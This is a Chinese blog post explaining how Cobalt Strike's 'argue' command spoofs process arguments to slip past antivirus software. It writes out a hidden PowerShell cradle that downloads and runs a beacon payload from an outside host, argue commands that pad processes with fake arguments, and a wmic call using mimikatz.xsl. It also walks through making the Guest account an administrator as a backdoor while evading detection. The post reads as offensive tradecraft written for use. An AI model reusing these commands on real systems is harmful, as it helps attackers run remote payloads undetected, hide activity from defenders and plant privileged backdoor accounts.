发布于 

Cobalt Strike参数污染功能绕过杀软

查看CS后渗透参数,发现argue参数可以对进程创建进行参数污染,隐藏真正要执行的参数,以此来绕过杀软。感觉这个功能之后可能会要用到,写个短文简单记录一下

argue参数使用

使用前提:CS会话需要是 administrator 或 system 权限

使用语法如下:

1
argue [command] [fake arguments]

注意:fake arguments 要比真实指令要长

原理就是在进程启动时会使用一些迷惑参数,如下

1
wmic aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

进程被创建后便会暂停,CS会在内存中获取对应进程块的内存副本,然后在副本中找到CommandLine字段,替换成正常的命令行参数,如下

1
wmic process list /FORMAT:mimikatz.xsl

再恢复进程运行,当我们通过process Monitor来查看的时候,会发现创建进程的时候传入的参数是无意义的混淆的参数,但实际运行参数已在进程创建后替换,达到一个偷梁换柱的效果。

PowerShell上线

在CS创建web载荷投递,通过powershell一句话上线,上线指令如下

1
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx:80/a'))"

直接执行指令会被杀毒软件检测拦截

image.png

使用process monitor查看进程,可以看到指令是明文执行,很容易被杀软识别

image.png

使用 Cobalt Strike 的 argue 参数对 powershell 进行污染,由于 powershell 一句话上线指令比较长,因此污染的参数值要比上线指令还长才行

1
argue powershell.exe xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

再运行argue,查看参数污染结果

image.png

通过 execute 执行 powershell.exe(注意:使用shell命令执行不会成功,因为shell本质是cmd.exe /c arguments)

image.png

使用 process monitor 进行检查,可以看到参数污染成功,原本执行的参数已经无法识别,且杀毒软件未拦截 powershell.exe

image.png

powershell上线成功

image.png

添加Guest后门

注意:如果操作系统有限制,需要管理员权限运行cmd才能进行用户操作,则该功能无效

查看 guest 用户所属组为 Guests

image.png

将 guest 用户添加到管理员组,会被杀软拦截

image.png

使用 argue 参数污染 net1 程序(注意是net1,而不是net,因为net还是会把真正的参数传递给net1)

1
argue net1 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

查看参数污染结果

image.png

依然是通过 execute 执行,由于污染的是 net1,因此也是通过 net1 执行用户操作

image.png

使用 process monitor 进行检查,参数污染成功

image.png

由于测试环境 cmd 需要管理员权限运行才能修改用户组,这里执行其实失败了。如果能执行成功的话是下面的效果,guest 用户被添加到管理员组,拥有管理员权限

image.png




👨‍💻本站由 @鱼龙 使用 Stellar 主题创建

📃本"页面"访问 次 | 👀总访问 次 | 🥷总访客

⏱️本站已运行 小时